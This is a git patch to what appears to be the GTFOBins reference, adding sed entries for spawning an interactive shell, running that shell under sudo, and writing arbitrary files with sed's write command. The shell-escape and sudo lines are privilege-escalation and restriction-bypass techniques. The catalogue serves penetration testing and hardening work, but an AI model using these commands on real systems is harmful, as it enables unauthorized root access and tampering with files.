From 3c0e0bf1e33b3320649d6c8b9a535794422d14a6 Mon Sep 17 00:00:00 2001 From: Roman Mueller Date: Wed, 13 Jun 2018 12:01:25 +0200 Subject: [PATCH] Add execute-interactive & file-write to sed --- _gtfobins/sed.md | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/_gtfobins/sed.md b/_gtfobins/sed.md index e6df243..dbeb315 100644 --- a/_gtfobins/sed.md +++ b/_gtfobins/sed.md @@ -1,9 +1,9 @@ --- functions: + execute-interactive: + - code: sed "e /bin/sh -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" sudo-enabled: - - code: | - LFILE=file_to_read - sudo sed -e '' "$LFILE" + - code: sudo sed "e /bin/sh -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" suid-enabled: - code: | LFILE=file_to_read @@ -12,4 +12,8 @@ functions: - code: | LFILE=file_to_read sed -e '' "$LFILE" + file-write: + - code: | + LFILE=file_to_write + echo x | sed "s/x/data/;w $LFILE" ---